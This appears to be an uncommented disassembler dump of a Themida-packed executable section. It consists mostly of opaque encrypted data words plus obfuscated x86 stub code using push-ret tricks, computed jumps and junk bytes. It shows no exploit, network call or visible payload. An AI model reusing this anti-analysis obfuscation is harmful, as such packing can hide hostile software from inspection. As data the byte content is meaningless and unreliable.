19B29C25h, 8CD8E734h, 4D25C0E3h dd 0B88350C7h, 164B6h, 75C0A00h, 0E4F7464Dh, 455DFC87h dd 0CF817C8h, 0B8A60B58h, 0EF7EEDC4h, 51A01FD9h, 56174BFDh dd 0D85A6771h, 6D14001Dh dd 0B82F0B22h, 522DC411h, 0CB71E46Ch, 0F1F2BBD2h, 0A5F45A38h dd 37E5BE94h, 3D000000h, 8B621A48h, 0D845E2E0h, 26D3241Dh dd 53FF7E30h, 0B844D160h, 8AF58411h, 11B844E7h, 89D27E6Eh dd 87D4FBABh, 11B844E4h, 0E9B974EBh, 0BE93B783h, 0D172h dd 75CB600h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh, 2539C837h dd 887B2A73h, 9AA4CD8Bh, 0A0C1FE2Dh, 0C9565727h, 0C31E2D17h dd 1ADD48Eh, 0A6EA5946h, 0EBB7AE2Fh, 0A0B845B6h, 723BE7E6h dd 54ABD37Fh, 459B4A5h, 0D37F2B52h, 665DFEACh, 0B7716815h dd 2FFC11F6h, 27E41DDBh, 12315AACh, 0CA7CD1FBh, 0A05FD596h dd 718602F1h, 3A89DD0Eh, 1A85CEC9h, 0D7B17702h, 611B2F96h dd 15687592h, 12C3D621h, 0E29211B6h, 1BE08B9Fh, 0B0A21352h dd 441600F6h, 373ADC03h, 0AF0A1h, 0AB5D7200h, 17D107F6h dd 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h, 0A21340FAh dd 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 0E47300h, 0D7711DDEh dd 4C065C23h, 0FBB5A617h, 75CFCA6h, 0E4F7464Dh, 455DFC87h dd 0CF817C8h, 0C61C6958h, 6A02630Ch, 460h, 833473Eh, 20CB225Ah dd 1DDDF5C9h, 573810FCh, 0CF1C93EBh, 17C2AE95h, 13C5196Ah dd 74FF703Fh, 0BA278E5h, 38EAE370h, 4390436Ch, 0BA27930h dd 9D75309Fh, 0C4A98037h, 3EB26h, 375E7A00h, 0A917C845h dd 17C84491h, 1C93EB57h, 0D84C75CFh, 5C5A4A1Dh, 0DC00729Ch dd 3E4BE1E0h, 0C000000Ah, 2D80D587h, 0C134611Bh, 3885DA8Ch dd 0C8356A1Ch, 0B98BD892h, 5A1446C9h, 0E7A1B805h, 61134BBAh dd 0D892C134h, 2DDA298Bh, 1DDE020Ah, 5CFDAD4Bh, 0E3464D07h dd 49B8077Fh, 0AE5C6315h, 816916EDh, 0D91DDDF5h, 93BADD2Ah dd 0EB9B11B2h, 0EBC2B2C2h, 0CA934D7Eh, 88D9289Bh, 3E248DCEh dd 3BAFEA37h, 398D44C6h, 97E4DB87h, 11B2E3F8h, 0EE5B15Dh dd 0EFB06A5Fh, 94876714h, 8EDB17C8h, 0ADFC833Dh, 3AE8E799h dd 3F2F4566h, 16D00170h, 33FF7E49h, 381B0B9Dh, 8201B3ABh dd 31EBDFD4h, 41B0E492h, 0BCE59FB4h, 1C691AE9h, 0C57110C2h dd 9D325FF2h, 4B06F60Bh, 0D66183E4h, 0D035764Ah, 0C0CF1C79h dd 950B9C91h, 0C516BDE9h, 0D993C736h, 96B90CBAh, 0BF0B9C91h dd 24378ECFh, 5C02636Ah, 322CD928h, 97E4DF80h, 11ACB215h dd 0D80B7A09h, 0F39F1Eh, 58C7271h, 0FD7738E4h, 3BE99B11h dd 3635E82Ch, 9389Eh, 0F3A5BA00h, 3FF94F9Eh, 0F8AAA312h dd 50025AABh, 0E6A0B203h, 38FBCBB9h, 0CA3B6822h, 3588DD97h dd 0D3226F21h, 1B99C680h, 31C3BC8h, 9F391DDEh, 621A48EBh dd 0F610E08Bh, 0A3521DDDh, 0CAAAF3ADh, 0F8C2AFCBh, 0F0A48430h dd 0CB037201h, 5C6D5819h, 0C900EDA2h, 0FC51A00Fh, 0D697434Ah dd 0A7916EBDh, 3B3338CCh, 731ACC02h, 0DFD29BC7h, 47B40B73h dd 17C8DCE3h, 36C53CE8h, 9D7AA6C9h, 9EB13E0Bh, 0B70B9D7Ah dd 0F4BD69C7h, 0ACD07EDFh, 0F9B3A855h, 80832CDAh, 0ADAAF5F3h dd 6A641111h, 4BC76A15h, 0DE8E058Dh, 3E5F0BB2h, 0DC704636h dd 8E82B61h, 883F389h, 0D2050000h, 4E827320h, 0D7EEBF94h dd 477D7025h, 0DDEDC095h, 36FE6E23h, 0F0A55F73h, 3D12CCFDh dd 0EFA45670h, 3E13CDFEh, 0D1600B5Eh, 841DDE03h, 75C3EEAh dd 0E4F7464Dh, 9C3BA32Ah, 45FF5401h, 0B4147A10h, 0C505B883h dd 5D000001h, 0CF303D5Ah, 8FEB8EF9h, 0BA6A17C8h, 9DD279D7h dd 0D71DDD4h, 441F49B6h, 7C281DD9h, 0E4630A55h, 677B11B8h dd 83D726ADh, 861DCAC9h, 68D7DBEBh, 146FF5CDh, 895EBE93h dd 0A2000001h, 464D075Ch, 0D41A1AF5h, 4F97D6ABh, 43DF23h dd 87D9F9EAh, 4C18C6CDh, 1AA6477h, 9E15CF04h, 973806E1h dd 5B043090h, 0C3BBA70Ah, 4E797FECh, 0FEEE1DD9h, 7253307Fh dd 0B20D8BD5h, 2C3FC8E9h, 0A311B8B4h, 3BA1712Ch, 2ABE9345h dd 27h, 621A487Eh, 45E2E08Bh, 0E9951DD8h, 0F1EC99EAh, 0C992403Fh dd 0B84557FEh, 30C97811h, 93B7CC52h, 0EBBDBEh, 5C050000h dd 0EEB7AC07h, 0E384427Bh, 78174BCFh, 8CF687CAh, 0BEE16E47h dd 0AC9EEB92h, 4D7ECBF2h, 0C65F1C93h, 0B9E25795h, 0F01D2F12h dd 0DA094A62h, 0A0B30291h, 335A1445h, 3986DB87h, 17C94E4Dh dd 451AD407h, 3786FE64h, 0D22539C8h, 1BC7C680h, 0D19A4847h dd 0DBCBE1F6h, 2D84701Dh, 0C22D8AC0h, 11B660AFh, 23AAF6A6h dd 99CD7FD6h, 4C7EEBD8h, 0A726E0F1h, 9FAA7FBh, 0EEAF617Ch dd 1966C317h, 11B66176h, 85632FDFh, 0DC024CB3h, 0F6DC74F7h dd 78000006h, 5F8AD5Fh, 794C19D3h, 10DDB264h, 604D02B4h dd 91E3B06Ah, 32ECDEA1h, 7F39905Dh, 39EBE3D2h, 904A996Ch dd 0E592E1C3h, 1DDE0552h, 5CB56503h, 1B3AB06h, 3180D482h dd 0ACD38DC4h, 297D54EFh, 0BAE6BE46h, 0B23FB4F1h, 40C5E6A0h dd 0AF04510Bh, 46AB39D4h, 590201AAh, 0AA075C11h, 0C8453A5Dh dd 0FAB4AC17h, 0B5DC8874h, 2AA7368h, 27B3837Dh, 621A471Bh dd 40h, 24DEF27Fh, 0FAB0F19Dh, 1539E047h, 82F18271h, 0D225DFF3h dd 17C844BFh, 42C5E696h, 1DDDF5E8h, 75572FDFh, 0BBF10E83h dd 0A8E81CCEh, 68D6DB84h, 0F9529D14h, 0D017C869h, 334E6424h dd 52000000h, 0E2531A48h, 0BF7969CCh, 0F82F12C0h, 0C9386CDAh dd 0D933883Eh, 0D8F7A71Dh, 0B904E78Bh, 55108F11h, 0FDEA68Ch dd 0C9344264h, 5401ED17h, 0E118h, 0AB5A7000h, 3FB2FBB5h dd 65CBC813h, 8140E2EDh, 0A17E11E4h, 86D717C8h, 4CFA9953h dd 40F83D18h, 0C5CA6945h, 7BD32291h, 531CCAC9h, 0CC2B0370h dd 0EC981DDEh, 7A097A09h, 0B36B6A0Dh, 0C83BEB11h, 11B36AA9h dd 0DEF3C0ACh, 0B0F19D24h, 1B05640h, 92048A68h, 60F5BE98h dd 4D000000h, 8B621A48h, 0DDF609E0h, 0AC9E4B1Dh, 7E1FCBF2h dd 41AB06F6h, 6702B157h, 0A1B03BACh, 0B411B294h, 95FBA7C8h dd 0ABBE9967h, 0A530D3Eh, 2E92h, 0A95AD600h, 0C8453B5Eh dd 416A1A17h, 3FA82B0h, 0DDF59278h, 3A351Dh, 1BA86571h dd 0AB1590C4h, 0DD9847CDh, 99949F05h, 288EBEh, 5AD20000h dd 0AD5AB7ABh, 17C8448Ah, 0E687DBCBh, 0C8611FE1h, 46B30A17h dd 86345B15h, 459DF8CBh, 680957BDh, 0FFFEEF14h, 1A486CFFh dd 0DCE08B62h, 8F1DDDF5h, 0D17DE0DFh, 40A956ADh, 1817C845h dd 0F4BD7769h, 47B78580h, 2070FF6Ch, 39E50B9Dh, 2F79875Eh dd 5E0B5C63h, 0BC47B668h, 0B9CEA9Dh, 0EA3CCB8h, 0AA655C20h dd 0B3952910h, 0B1125BD8h, 0B201C246h, 0D522B111h, 586A0C2h dd 40AFE393h, 0B0E59FB1h, 0E29CAE3Bh, 836E2FDBh, 0AB58A7DFh dd 0B9C514Bh, 0D8948D88h, 24C18051h, 0DAF48170h, 0F9887B28h dd 864092E5h, 88075B07h, 0BEC161CBh, 0FF537CFBh, 8FF7695Eh dd 344F9797h, 1F6DFD10h, 0FF6B75Dh, 604D02BCh, 0AF12B16Bh dd 7504FB83h, 1141AE60h, 0E18A3857h, 80B95E2h, 0B05C6D5Ah dd 0D58FC411h, 0B06A5FAEh, 2235C211h, 336139F4h, 0E67F1043h dd 530E85D0h, 0A754B1A2h, 6139F388h, 7E7521CDh, 7B24D6EFh dd 0D183DB2Ah, 0B36D63B2h, 924B7A0Ch, 6C39EBE3h, 0FC9BE897h dd 596139F2h, 0CD0104ADh, 555A41Bh, 0F71224Bh, 0A9445F6Bh dd 0CF21E2FCh, 0C36B5087h, 0D09AC79Bh, 8DFB3D5Ah, 92983A44h dd 0FE76E8C9h, 7753307Fh, 21DBEEA6h, 6291F4A2h, 6C590287h dd 9716BD77h, 96C88924h, 0F44B1DEh, 9EE5255h, 0A75067Dh dd 17C8A867h, 0EE95477Fh, 4091E240h, 1291DA86h dd 0F3AD9E57h, 46B34493h, 87335A14h, 0C8A81D3Ch, 234C3817h dd 0CDF4AEA2h, 0E89C817Eh, 80806C61h, 9949E8DFh, 503F17C8h dd 2EE8E095h, 883A9461h, 9898BE09h, 38CB17C8h, 0C0E193C9h dd 83DB8A23h, 693384D1h, 0A817C8B9h, 837FB338h, 0FF6EA0B8h dd 0B441FFFFh, 5C46D798h, 2E289ED7h, 5C713962h, 0A5184D07h dd 6AF9FCB6h, 0A4451BADh, 0FCA51709h, 0C520DA09h, 0C58039AAh dd 0FC7CDC96h, 0B8833596h, 510B3FAEh, 0C1DB8432h, 47h dd 621A4809h, 0E08BDC8Bh, 17C84551h, 70571804h, 1DDDF59Bh dd 0F9633E2Eh, 0A33E051Eh, 0B50C70DEh, 0C844E14Ah, 419BE817h dd 7731228Fh, 9EF6AA58h, 3443B03Fh, 440B9CE3h, 3DD1DA84h dd 23D35124h, 28427Ah, 48460000h, 0E08B621Ah, 1DDDF60Bh dd 69D3CEBEh, 0D68F0089h, 905F270Bh, 0C8460EE3h, 0F4CBBB17h dd 0FDBD6817h, 812A3C42h, 0AB5A7119h, 0D48201B3h, 6F293A8Bh dd 18D20150h, 84F8664Bh, 21BF522Dh, 0D27E72C0h, 33CD3A89h dd 341DD8BDh, 8BFA4948h, 48F69D57h, 918DA027h, 8B4211B8h dd 669A00D2h, 408BBE93h, 0DF000000h, 54531A48h, 40FA4FEDh dd 0B020D405h, 38570943h, 9AE7D68Ah, 0F5CE8F49h, 2CDEF786h dd 4FB8F9A5h, 1DD881D1h, 4C0655A6h, 0C6CD9945h, 0B880D279h dd 0AB46FD11h, 937B51D7h, 0E240BEh, 5C880000h, 3A5DAA07h dd 1B17C845h, 4998376Bh, 11605F19h, 4CB908C2h, 0A3605F11h dd 2C3E50A1h, 93DC883Eh, 0E8A2B100h, 2BF44CBBh, 4B8017C9h dd 0E2F1C491h, 0F0BED928h, 38214DDFh, 60AFE48Dh, 0B3842AA3h dd 8ECF0B77h, 78473F23h, 9F1ED809h, 92AA90F3h, 93D63B4Bh dd 148EF9CAh, 931DD8A2h, 3A590B42h, 268BD88Ch, 6D4438h dd 754E0FC9h, 3A8B0906h, 26B18E5Ch, 0B3678285h, 2EDE17CBh dd 0B4C330BFh, 0A10BA641h, 0AA57ACF5h, 6451FEB8h, 6F64116Eh dd 95600EB5h, 0BA64202h, 0F9EFA353h, 0E2126B31h, 0BA5EF675h dd 3C000001h, 0D1247123h, 1D90C57Fh, 0DC297628h, 3481CE80h dd 3D2F641Eh, 0E6A0B275h, 5B154CB9h, 0ED9FB706h, 5C1645B8h dd 0A956A507h, 1DDE0A86h, 5C8971CFh, 0A6174C06h, 0FCA6FBB5h dd 0FDB7AB5Ah, 44D67906h, 8F7F17C8h, 77FE3CEh, 45BD4BB8h dd 0CABA1DD8h, 44D578C3h, 43FA11B8h, 0B752D8AAh, 0DA43BE93h dd 0E0000000h, 0E2A85523h, 0A3CC14B8h, 4D075CC7h, 9D20776h dd 0D9A5FB20h, 80217546h, 8730453h, 17C8DF69h, 99B300ECh dd 713AE8E7h, 0FD843E94h, 0C8E366B2h, 3BD0E17h, 0B26C5F4Eh dd 0E698AE3Bh, 87AB0EC5h, 0CDD3B0FFh, 9A346A59h, 50D20F49h dd 7A26F986h, 3B25D231h, 6C1DD8D4h, 8FE0D380h, 0B8AE55E4h dd 4B140011h, 2D84F866h, 0CB62C8C2h, 0E6314E17h, 0D709372Eh dd 4430446Dh, 10CA006Dh, 0A6607243h, 13649A50h, 2DC3C6E2h dd 0C9h, 2D62144Bh, 81CE88C0h, 3A671934h, 0B2DF91CBh, 550F43h dd 91C1442Ch, 263B8AD7h, 90C6376Ch, 0F44B1DEh, 4D9C0055h dd 0DE0B8FA2h, 8028C61Dh, 0B6AB065Ch, 0DC29D5FCh, 18C6CD87h dd 0B5A6174Ch, 0A655A6FBh, 0C8453659h, 2E6F1F17h, 4D075C7Ch dd 0A8489976h, 0A7190FDDh, 4B80CD06h, 7521DBF0h, 217ECD20h dd 0C90AC3D6h, 792B2317h, 0D6C6AC5Ah, 0F3E8D58Ah, 0DC884298h dd 2E086AB5h, 0BB3047FAh, 0A6607322h, 5E0D0AF9h, 0C5CB2747h dd 0B506A85Ch, 481C55B0h, 0D071170Dh, 1D3E072Eh, 0DAF9B3A8h dd 73DA8E89h, 0D4461A3h, 0B96B6164h, 0BB766D1Ah, 721FD90Ah dd 0F7965083h, 0C61h, 0C5858200h, 0BB259282h, 0EBC2A8C9h dd 51035CBFh, 36F0E332h, 62144A97h, 1BB0E5Bh, 651F3382h dd 1BB0F5Eh, 67193382h, 12C41968h, 702A1E6Bh, 89579451h dd 4C781E7h, 83000000h, 3C8704EFh, 14895C24h, 0E0895024h dd 405h, 42D00h, 4870000h, 4895C24h, 0E6895624h, 4C681h dd 0EE810000h, 4, 5C243487h, 83243489h, 348904ECh, 0C85BE24h dd 0CE817E70h, 4B5254FEh, 0CE81D6F7h, 2B613C44h, 0CB6EE81h dd 0F089A5D8h, 348B545Eh, 4C48124h, 50000000h, 4A240481h db 9, 0FDh word_5A7CDA dw 8F7Eh ; DATA XREF: Themida_:0054C1BCo ; --------------------------------------------------------------------------- inc esi or [ebx-45h], dl dec edx or ebp, edi jle short loc_5A7D0E pop esi or [ebx-75h], bl xor al, 24h push esi mov esi, esp add esi, 4 ; CODE XREF: Themida_:005A7D10j add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_55FF58 ; --------------------------------------------------------------------------- popf loc_5A7D0E: ; CODE XREF: Themida_:005A7CE3j jb short loc_5A7D21 jb short near ptr loc_5A7CEE+1 loope loc_5A7D68 xchg eax, ebp mov eax, 615C7FFh add eax, ebp jmp eax ; --------------------------------------------------------------------------- adc cl, [ebx-7] loc_5A7D21: ; CODE XREF: Themida_:loc_5A7D0Ej dec esp wait mov ah, 33h pop ebx push 0FF10E842h ; --------------------------------------------------------------------------- db 8Eh ; --------------------------------------------------------------------------- jge short loc_5A7D40 clc db 2Eh pop edx inc eax retf ; --------------------------------------------------------------------------- db 0EAh ; --------------------------------------------------------------------------- jmp fword ptr [eax] ; --------------------------------------------------------------------------- dw 0D66Ch dd 3FE7883h, 1F6C09D9h ; --------------------------------------------------------------------------- loc_5A7D40: ; CODE XREF: Themida_:005A7D2Cj cwde add al, bl db 3Eh out dx, eax adc edi, [ebp-21h] jbe short near ptr loc_5A7D70+2 and esi, [ebx+20E275BEh] adc bx, [ebx+eax*8+4Fh] outsd or esp, eax xchg cl, [esi-73h] lea edi, [ecx+6A0615C9h] add [edi-18h], dl add eax, [eax] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_5A7D68: ; CODE XREF: Themida_:005A7D12j and [edi-3Dh], bl pop edi mov [esp+4], edi loc_5A7D70: ; CODE XREF: Themida_:005A7D48j add dword ptr [esp+4], 18h inc edi push edi retn ; --------------------------------------------------------------------------- shl byte ptr [eax+9], 1 push ebp and cl, [ecx+1009F58Dh] push es sub [ebp+6102961h], edx mov dword ptr [ebp+6102319h], 6764h push 0 push esi call sub_5A7DA1 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7DA1 proc near ; CODE XREF: Themida_:005A7D99p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5A7DA1 endp ; --------------------------------------------------------------------------- db 0ABh, 1Dh, 0F6h dd 6D59FB0Eh, 1FD812Bh, 100CB1BDh, 6D9D8B06h, 0C7061021h dd 1022C185h, 6, 298D8900h, 0FF06101Dh, 1004E9B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0DB60B255h, 0BE9h, 53419000h, 0E58D8735h, 0C6D6F655h dd 2DB995FFh, 6E90610h, 0AC000000h, 94EC37E7h, 0FF006AE9h dd 1031C995h ; --------------------------------------------------------------------------- loc_5A7E24: ; DATA XREF: Themida_:0054D194o push es mov eax, eax jmp short loc_5A7E41 ; --------------------------------------------------------------------------- db 73h, 3, 0ECh dd 9DA96A20h, 0D05DB4Dh, 1788873Ah, 0C789C0D3h, 0DDCE1A36h db 65h ; --------------------------------------------------------------------------- loc_5A7E41: ; CODE XREF: Themida_:005A7E27j lea ecx, [ebp+615CA7Ah] pusha movsx edx, cx popa mov [ebp+61009F5h], ecx cld mov dword ptr [ebp+6102319h], 5A04h mov dword ptr [ebp+61022C1h], 0 push 0 push ebp call sub_5A7E72 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7E72 proc near ; CODE XREF: Themida_:005A7E6Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5A7E72 endp ; --------------------------------------------------------------------------- dw 0E9E6h ; --------------------------------------------------------------------------- ficomp dword ptr [ebp-38h] adc ebx, 57B85264h push dword ptr [ebp+6102ED5h] push 0 push ebp call sub_5A7E9E and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7E9E proc near ; CODE XREF: Themida_:005A7E96p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5A7E9E endp ; --------------------------------------------------------------------------- dw 43Bh ; --------------------------------------------------------------------------- mov [ebp+6103365h], edx call dword ptr [ebp+6102DB9h] push 0 push ecx call sub_5A7EC7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A7EC7 proc near ; CODE XREF: Themida_:005A7EBFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5A7EC7 endp ; --------------------------------------------------------------------------- mov eax, edi and eax, 0D78B6698h push 0 call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5A7F06 ; --------------------------------------------------------------------------- dw 0E6F5h dd 0B1F8051Ch, 0C806E0BEh, 0C5254FC7h, 14A87921h, 0DAED976Bh dd 7006D8D9h db 5, 0F4h ; --------------------------------------------------------------------------- loc_5A7F06: ; CODE XREF: Themida_:005A7EE8j lea ecx, [ebp+615CB00h] mov [ebp+61013F1h], edx mov [ebp+61009F5h], ecx push edx jge loc_5A7F25 mov [ebp+6102065h], esi loc_5A7F25: ; CODE XREF: Themida_:005A7F19j pop esi xor esi, [ebp+6100869h] mov dword ptr [ebp+6102319h], 7124h sub [ebp+61014E5h], eax mov dword ptr [ebp+61022C1h], 0 add [ebp+6102F35h], eax push dword ptr [ebp+61011EDh] mov [ebp+6100511h], edx call dword ptr [ebp+6102DB9h] mov edx, [ebp+6101469h] push 0 call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5A7FD8 ; --------------------------------------------------------------------------- sbb eax, 3991B900h cmpsd aad 41h pop esi sub eax, 0B435EED1h and al, 4Ch lea ecx, [esp+eax+51h] mov ch, 9Fh retn 734Ch ; --------------------------------------------------------------------------- retn 69D8h ; --------------------------------------------------------------------------- dd 0F5C9469Ah, 0EE16B46Fh, 52D6FAACh, 9EB0C849h, 765F78E5h dd 0B407040Ah, 0E3B157CEh, 0D6F3EA3Dh, 6C1DD919h, 8763A9E8h dd 83F4191Bh, 0F4346E2Ch, 0EB9976BCh, 36E16F68h, 70BC2E8Ch dd 1C0242BBh, 9AF8C881h, 0F008036Fh, 7A39BAF9h ; --------------------------------------------------------------------------- loc_5A7FD8: ; CODE XREF: Themida_:005A7F6Ej jmp loc_5A7FF1 ; --------------------------------------------------------------------------- db 0AFh, 54h, 48h dd 12h, 3 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5A7FF1: ; CODE XREF: Themida_:loc_5A7FD8j jmp loc_5A855B ; --------------------------------------------------------------------------- dw 7A7h dd 0DB9108C4h, 0FCB128A4h, 0DB9007C3h, 0F9AB2A9Eh, 0FC08FEBAh dd 1F9BDA8Eh, 0F8B4F598h, 1692CD81h, 0F7B3E89Fh, 0C1812814h dd 256BD9B7h, 7932FCC8h, 3C441F3Bh, 4E00F7Ch, 98D77910h dd 0CD7F3A24h, 4902B98Eh, 0C2696014h, 4A02998Dh, 243C330Ah dd 0B59170CBh, 0E924CAC1h, 0AFE69E3Dh, 5EF586C3h, 69089772h dd 10EA1FC8h, 0B873A649h, 6DCCD00Ah, 75526EEAh, 59943AC1h dd 0DAB056E5h, 516F232h, 16C25245h, 6EA463Ah, 89CA7B1Ah dd 0D9780B9Dh, 0C377B258h, 8DF9F4D9h, 26D53666h, 0ACE18A51h dd 9914B1F8h, 9C1B6DCCh, 510DE005h, 82ED336Ah, 5F000000h dd 50447932h, 0B90900DEh, 5D6DCC7Ch, 813FEC01h, 9A6DCC7Ch dd 0D1C8BCF1h, 9930E41Bh, 6BC7BBF4h, 6C50EFD0h, 8347DEDDh dd 7C14AE5Dh, 84296DCCh, 23DB574Bh, 0A46D3247h, 84336B35h dd 0Eh, 1DA5647Ah, 0F9923388h, 0D3EF2EE2h, 7A322EF6h, 90384F43h dd 0D07D8B50h, 4A26773Ah, 4F8C3F56h, 18B708A3h, 223C7319h dd 0CAB6F597h, 4ECD9166h, 0F31EC595h, 0CCCE8A38h, 0D2EE6A6Dh dd 0AA1E421Eh, 3F7E321Ch, 0EA58532Dh, 0A6DCC7Ch, 0B7F4970Eh dd 3FE5E4A2h, 0D93F1C08h, 9032D907h, 746DCC7Ch, 7CB111F8h dd 0D9556DCCh, 46801F04h, 0B794CF73h, 550948FCh, 8748826Bh dd 0C60D9617h, 4C812AB1h, 538C4158h, 517AF69Fh, 0E08585D2h dd 0D4678459h, 9005B83Dh, 77E5336Ah, 27000000h, 533F7E32h dd 7A548D34h, 0D9CD0EBFh, 0EB7E805Dh, 0EC21CA91h, 8C952C0Fh dd 962599D8h, 74CEBDF2h, 906DCC7Ch, 0C5C4B094h, 500BE522h dd 0E51EC39Bh, 3C113531h, 0CB6A194Ah, 6B33F32Eh, 54D333h dd 6EED0000h, 0AC887CB9h, 7E32F5CFh, 0A1C5FCA4h, 0C8527BF5h dd 0D85697F6h, 0C46AF106h, 0C4767789h, 11809B59h, 981313E8h dd 1552F5C4h, 53E80561h, 94D375BCh, 7A329218h, 0BF084F43h dd 806DCC7Ch, 6C45A03Fh, 4C336B35h, 0Ah, 2C327972h, 5F54FD25h dd 7B32C28Ah, 90374E42h, 433DA75Bh, 3144220Ah, 0E7F89D67h dd 51566CD0h, 3211E60Ah, 99DB9293h, 918DE9CAh, 3BEFD392h dd 0F20CCFE6h, 0FC0BD237h, 0BD6C9267h, 943C7F05h, 0B42EAE1h dd 22371B17h, 79100460h, 9A219DD2h, 0A1C8BCF1h, 943C7F23h dd 0E6E07F20h, 7FB111F8h, 0D955943Ch, 7FBE0407h, 0DA56943Ch dd 588D36FDh, 0D60DB386h, 0AD31462Ah, 5440752Eh, 6FAC5FDAh dd 2D712B8h, 0DC29239h, 0F1DAF4D0h, 0DD294336h, 0B472876Ah dd 42DC4D7h, 0E7B2265Bh, 397A6826h, 14606h, 4D3F800h, 0D11E5366h dd 0B6F99D3Dh, 0A1C5B1A3h, 96D700CCh, 78B52D4h, 0DD805DE1h dd 40EB05D6h, 67FC0F0Bh, 0F4937FDBh, 79CB0D4Bh, 8000DC94h dd 0FA618A64h, 9DD45DCFh, 6CEB7388h, 340E3B3h, 1D2F130Fh dd 0F8ACE99Eh, 5F12EE1h, 76284521h, 8E7DA85Fh, 9423AB34h dd 0D916B9D0h, 702DD9FDh, 0B66DB44Bh, 68F3CD81h, 0AC7388C1h dd 397B5F61h, 2C610AD1h, 52994Fh, 5CF30000h, 49401AC1h dd 0EDCC7CD9h, 267521FDh, 0EDCC7C9Ch, 6CE38241h, 0FF3CEF51h dd 37540613h, 0BFC2A90Bh, 0FEADBFA3h, 6DCC8064h, 0A1CAA480h db 7Ah, 5Fh, 0F0h byte_5A8363 db 39h ; DATA XREF: Themida_:0054DDE4o dd 6DCCD489h, 85CCF16Dh, 63EEDB00h, 0F8CFC97h, 5943FBD0h dd 0F429E2h, 7C9A4724h, 0F2000000h, 4C1EBD5Ch, 0FC0C3C5Dh dd 0A24ECA67h, 93477C23h, 3E7F32A9h, 0C4F9B229h, 846D5ED0h dd 82CDCF61h, 7AC5BE9Bh, 0F19423DEh, 5E934C0Fh, 0A99AEB2h dd 0EC21CA6Bh, 0D7041370h, 0E50E0605h, 15A49E19h, 0E4403473h dd 6B171307h, 927EB36Ch, 0F8D27100h, 0EAA51D3h, 6BEADD7Ah dd 0FD607DB6h, 500BE5F6h, 0A6B35F9Ah, 4C4BBF14h, 1B3014DAh dd 0D4E4645h, 0F86942Fh, 0D691D5Eh, 5CD775E9h, 0BDD83BDh dd 4C381C57h, 0CF20CE8h, 8B60974Dh, 0F64790A0h, 40343067h dd 7AB96BEEh, 6CDAA86h, 25B4285Dh, 0E5D497Eh, 0E85BB696h dd 0F9DD744Bh, 1CED4ED4h, 407CD56Dh, 8353188h, 0A2B74BA9h dd 813D7219h, 0B281AE9Fh, 0C5B09BDAh, 0A4742BA8h, 7195C2FFh dd 0E4C1EAC7h, 16A5B79Bh, 0B0E79D6Dh, 0D0C7B794h, 4D0CDE1Bh dd 0B1B56196h, 49F8EA9Ch, 9FD48BAAh, 0BEF3AC2Bh, 2EC1D2h dd 0D73B0000h, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh, 0CD9F6DCCh dd 0CC7C64DEh, 0C0A4806Dh, 98235DABh, 2F641BF3h, 0D6035F13h dd 3ACEBE85h, 774D2AB0h, 493D8032h, 0B0649952h, 463A7519h dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h dd 55417830h, 8D968CFh, 3C890000h, 15226824h, 3C890000h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 56240489h dd 4F8BB850h, 0E8C14322h, 46F12D05h, 0C689FC03h, 5EF78958h dd 4EC81h, 24890000h, 24048324h, 0B9515804h, 8, 0BA52C101h dd 0 ; --------------------------------------------------------------------------- add edx, ecx mov [edx], edi pop edx pop ecx mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- db 77h dd 0D065F126h db 1, 0EAh, 0CFh ; --------------------------------------------------------------------------- loc_5A855B: ; CODE XREF: Themida_:loc_5A7FF1j mov eax, 615D066h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 28928976h, 1DD14C97h, 6110D04Eh, 134C82E1h, 217D5B67h dd 7DFDEBE5h, 2F302FE7h, 21E51896h, 31A665Dh, 7541C2Ch dd 6C247D40h, 0FC61FE6h, 93A9AB1h, 2B1F05Ch, 5342BE6h dd 42713E15h, 0BF398C0h, 3C3EC2BBh, 33C78F2h, 2A68B17Eh dd 120537C4h, 4BE9h, 8FA74B00h, 72h, 0C51C5700h, 6148434Ah dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h dd 0F4C7009Dh, 6063921Dh, 0DE19h, 7 dup(0) ; --------------------------------------------------------------------------- jmp loc_5A9229 ; --------------------------------------------------------------------------- push 615D2E9h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 615D437h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 615D547h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 615D650h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 615D72Ah jmp loc_5534D8 ; --------------------------------------------------------------------------- push 615D80Ch jmp loc_5534D8 ; --------------------------------------------------------------------------- push 615D8EAh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 615DB19h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 615DC28h jmp loc_5534D8 ; --------------------------------------------------------------------------- db 36h dd 5EDD5194h, 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h dd 1655F765h, 317213A2h, 